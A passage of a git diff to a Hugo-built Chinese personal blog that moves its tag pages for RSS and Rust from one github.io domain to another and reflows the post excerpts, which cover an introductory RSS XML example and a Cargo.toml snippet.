title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>RSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>RSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/rss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/rss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="RSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/rss/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="RSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>RSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&lt;?xml version="1.0" encoding="UTF-8" ?>
-&lt;rss version="2.0">
-&lt;channel>
-&lt;title>小陈的辣鸡屋&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/&lt;/link>
-&lt;description>xiaochenabc123.test.com&lt;/description>
-&lt;item>
-&lt;title>简单了解设计模式&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link>
-&lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description>
-&lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded>
-&lt;/item>
-&lt;/channel>
-&lt;/rss>
-可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&lt;?xml version="1.0" encoding="UTF-8" ?> &lt;rss version="2.0"> &lt;channel> &lt;title>小陈的辣鸡屋&lt;/title> &lt;link>https://xiaochenabc123.test.com/&lt;/link> &lt;description>xiaochenabc123.test.com&lt;/description> &lt;item> &lt;title>简单了解设计模式&lt;/title> &lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link> &lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description> &lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded> &lt;/item> &lt;/channel> &lt;/rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://xiaochenabc123.github.io/posts/122/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://chenjunlinabc.github.io/posts/122/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/rss/index.xml b/tags/rss/index.xml
index c8a71574..bd19c5d9 100644
--- a/tags/rss/index.xml
+++ b/tags/rss/index.xml
@@ -2,25 +2,25 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>RSS on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/rss/</link>
+    <link>https://chenjunlinabc.github.io/tags/rss/</link>
     <description>Recent content in RSS on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 06 Dec 2021 02:32:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/rss/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 06 Dec 2021 02:32:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/rss/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解RSS</title>
-      <link>https://xiaochenabc123.github.io/posts/122/</link>
+      <link>https://chenjunlinabc.github.io/posts/122/</link>
       <pubDate>Mon, 06 Dec 2021 02:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/122/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/122/</guid>
       <description>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;
&amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt;
&amp;lt;channel&amp;gt;
&amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt;
&amp;lt;item&amp;gt;
&amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt;
&amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt;
&amp;lt;/item&amp;gt;
&amp;lt;/channel&amp;gt;
&amp;lt;/rss&amp;gt;
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt; &amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt; &amp;lt;channel&amp;gt; &amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt; &amp;lt;item&amp;gt; &amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt; &amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;/channel&amp;gt; &amp;lt;/rss&amp;gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
diff --git a/tags/rss/page/1/index.html b/tags/rss/page/1/index.html
index 2fec780b..38b565b1 100644
--- a/tags/rss/page/1/index.html
+++ b/tags/rss/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/rss/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/rss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/rss/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/rss/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/rss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/rss/"></head></html>
\ No newline at end of file
diff --git a/tags/rust/index.html b/tags/rust/index.html
index ac7a5801..393fbcb0 100644
--- a/tags/rust/index.html
+++ b/tags/rust/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Rust | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/rust/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/rust/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rust"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/rust/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rust"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Rust</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Rust | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/rust/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/rust/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rust"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/rust/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rust"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Rust</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -23,14 +23,7 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
-name = "hallo_word"
-version = "0.0.1"
-edition = "2021"
-[dependencies]
-hyper = "0.14.20" # 来自https://crates.io/
-# hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区
-# hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://xiaochenabc123.github.io/posts/142/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+[package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://chenjunlinabc.github.io/posts/142/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
